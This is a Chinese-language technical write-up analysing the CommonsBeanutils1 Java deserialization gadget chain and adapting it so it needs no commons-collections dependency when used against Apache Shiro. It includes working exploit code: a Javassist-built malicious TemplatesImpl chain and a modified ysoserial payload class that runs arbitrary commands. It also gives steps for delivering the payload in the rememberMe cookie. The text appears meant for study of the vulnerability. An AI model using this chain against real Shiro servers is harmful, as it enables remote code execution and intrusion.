ysoserial-CommonsBeanutils1的shiro无依赖链改造
字数 2220 2025-08-25 22:59:10

Shiro无依赖CommonsBeanutils1利用链分析与改造

一、CommonsBeanutils1利用链分析

1. 利用链概述

CommonsBeanutils1(CB1)利用链需要配合Commons-Beanutils组件进行利用,而Shiro框架自带此组件。该利用链的核心是通过反序列化触发恶意代码执行。

2. 关键组件

  • TemplatesImpl:用于加载恶意字节码
  • BeanComparator:比较器,用于触发getter方法调用
  • PriorityQueue:反序列化入口点

3. 简化版利用链代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils {
    // 修改值的方法,简化代码
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
    
    public static void main(String[] args) throws Exception {
        // 创建恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass payload = pool.makeClass("EvilClass");
        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
        byte[] evilClass = payload.toBytecode();
        
        // 设置TemplatesImpl字段
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        // 创建序列化对象
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);
        
        // 修改关键值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        
        // 序列化与反序列化测试
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
        out.writeObject(queue);
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
        in.readObject();
    }
}

4. 利用链分析框架

  1. 反序列化入口(source)PriorityQueue#readObject
  2. 调用链(gadget)
    • PriorityQueue#readObject
    • BeanComparator#compare
    • TemplatesImpl#getOutputProperties
  3. 触发漏洞的目标方法(sink)TemplatesImpl#getOutputProperties

5. PriorityQueue分析

PriorityQueue#readObject作为入口点:

  • 调用heapify方法
  • heapify方法在size≥2时调用siftDown
  • siftDown方法最终调用siftDownUsingComparator
  • siftDownUsingComparator调用comparator#compare

6. BeanComparator分析

BeanComparator是一个bean比较器:

  • 实现了java.util.Comparator接口
  • 关键方法compare中调用PropertyUtils.getProperty
  • PropertyUtils.getProperty会调用传入JavaBean中property值对应的getter方法

7. TemplatesImpl分析

触发点TemplatesImpl#getOutputProperties()方法:

  • TemplatesImpl#getOutputProperties()
  • TemplatesImpl#newTransformer()
  • TemplatesImpl#getTransletInstance()
  • TemplatesImpl#defineTransletClasses()
  • TransletClassLoader#defineClass()

二、Shiro无依赖利用链改造

1. 原始CB1链的问题

原始CB1链依赖commons-collections包:

  • BeanComparator构造方法调用ComparableComparator.getInstance()
  • ComparableComparator位于commons-collections包中
  • Shiro自带Commons-Beanutils但不带commons-collections

2. 改造要求

需要满足三个条件:

  1. 实现java.util.Comparator接口
  2. 实现java.io.Serializable接口
  3. Java、Shiro或commons-beanutils自带,且兼容性强

3. 替代方案

发现两个可用类:

  1. CaseInsensitiveComparator
  2. java.util.Collections$ReverseComparator

方案一:使用CaseInsensitiveComparator

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
  • 通过String.CASE_INSENSITIVE_ORDER获取实例
  • 放入BeanComparator构造函数中使if为真,避免调用CC组件

方案二:使用ReverseComparator

BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
  • 通过Collections.reverseOrder()获取实例

4. 实际利用

生成rememberMe值的步骤:

  1. 运行改造后的Client生成payload
  2. 访问Shiro的/login.jsp
  3. 勾选rememberMe登录
  4. 使用Burp抓包
  5. 在cookie中添加rememberMe=payload;

三、ysoserial改造实现

1. 改造后的CommonsBeanutils2

package ysoserial.payloads;

import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.Collections;
import java.util.PriorityQueue;

public class CommonsBeanutils2 implements ObjectPayload<Object> {
    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);
        
        // 使用Collections.reverseOrder()替代CC依赖
        final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
        
        // 创建队列
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(1);
        
        // 设置比较属性
        Reflections.setFieldValue(comparator, "property", "outputProperties");
        
        // 替换队列内容
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;
        
        return queue;
    }
    
    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsBeanutils2.class, args);
    }
}

2. 打包使用

mvn clean package -DskipTests

四、关键点总结

  1. 利用链核心:通过PriorityQueue反序列化触发BeanComparator比较操作,最终调用TemplatesImplgetOutputProperties方法加载恶意字节码

  2. 依赖问题解决:使用Java自带的比较器(CaseInsensitiveComparatorReverseComparator)替代CC包的ComparableComparator

  3. Shiro利用:利用Shiro自带的Commons-Beanutils组件,无需额外依赖

  4. 恶意类构造:通过Javassist动态生成继承AbstractTranslet的恶意类,在类初始化时执行恶意代码

  5. 属性设置:通过反射动态设置BeanComparatorpropertyoutputProperties,确保调用到TemplatesImpl的关键方法

Shiro无依赖CommonsBeanutils1利用链分析与改造 一、CommonsBeanutils1利用链分析 1. 利用链概述 CommonsBeanutils1(CB1)利用链需要配合Commons-Beanutils组件进行利用,而Shiro框架自带此组件。该利用链的核心是通过反序列化触发恶意代码执行。 2. 关键组件 TemplatesImpl :用于加载恶意字节码 BeanComparator :比较器,用于触发getter方法调用 PriorityQueue :反序列化入口点 3. 简化版利用链代码 4. 利用链分析框架 反序列化入口(source) : PriorityQueue#readObject 调用链(gadget) : PriorityQueue#readObject → BeanComparator#compare → TemplatesImpl#getOutputProperties 触发漏洞的目标方法(sink) : TemplatesImpl#getOutputProperties 5. PriorityQueue分析 PriorityQueue#readObject 作为入口点: 调用 heapify 方法 heapify 方法在size≥2时调用 siftDown siftDown 方法最终调用 siftDownUsingComparator siftDownUsingComparator 调用 comparator#compare 6. BeanComparator分析 BeanComparator 是一个bean比较器: 实现了 java.util.Comparator 接口 关键方法 compare 中调用 PropertyUtils.getProperty PropertyUtils.getProperty 会调用传入JavaBean中 property 值对应的getter方法 7. TemplatesImpl分析 触发点 TemplatesImpl#getOutputProperties() 方法: TemplatesImpl#getOutputProperties() → TemplatesImpl#newTransformer() → TemplatesImpl#getTransletInstance() → TemplatesImpl#defineTransletClasses() → TransletClassLoader#defineClass() 二、Shiro无依赖利用链改造 1. 原始CB1链的问题 原始CB1链依赖commons-collections包: BeanComparator 构造方法调用 ComparableComparator.getInstance() ComparableComparator 位于commons-collections包中 Shiro自带Commons-Beanutils但不带commons-collections 2. 改造要求 需要满足三个条件: 实现 java.util.Comparator 接口 实现 java.io.Serializable 接口 Java、Shiro或commons-beanutils自带,且兼容性强 3. 替代方案 发现两个可用类: CaseInsensitiveComparator java.util.Collections$ReverseComparator 方案一:使用CaseInsensitiveComparator 通过 String.CASE_INSENSITIVE_ORDER 获取实例 放入 BeanComparator 构造函数中使if为真,避免调用CC组件 方案二:使用ReverseComparator 通过 Collections.reverseOrder() 获取实例 4. 实际利用 生成rememberMe值的步骤: 运行改造后的Client生成payload 访问Shiro的 /login.jsp 勾选rememberMe登录 使用Burp抓包 在cookie中添加 rememberMe=payload; 三、ysoserial改造实现 1. 改造后的CommonsBeanutils2 2. 打包使用 四、关键点总结 利用链核心 :通过 PriorityQueue 反序列化触发 BeanComparator 比较操作,最终调用 TemplatesImpl 的 getOutputProperties 方法加载恶意字节码 依赖问题解决 :使用Java自带的比较器( CaseInsensitiveComparator 或 ReverseComparator )替代CC包的 ComparableComparator Shiro利用 :利用Shiro自带的Commons-Beanutils组件,无需额外依赖 恶意类构造 :通过Javassist动态生成继承 AbstractTranslet 的恶意类,在类初始化时执行恶意代码 属性设置 :通过反射动态设置 BeanComparator 的 property 为 outputProperties ,确保调用到 TemplatesImpl 的关键方法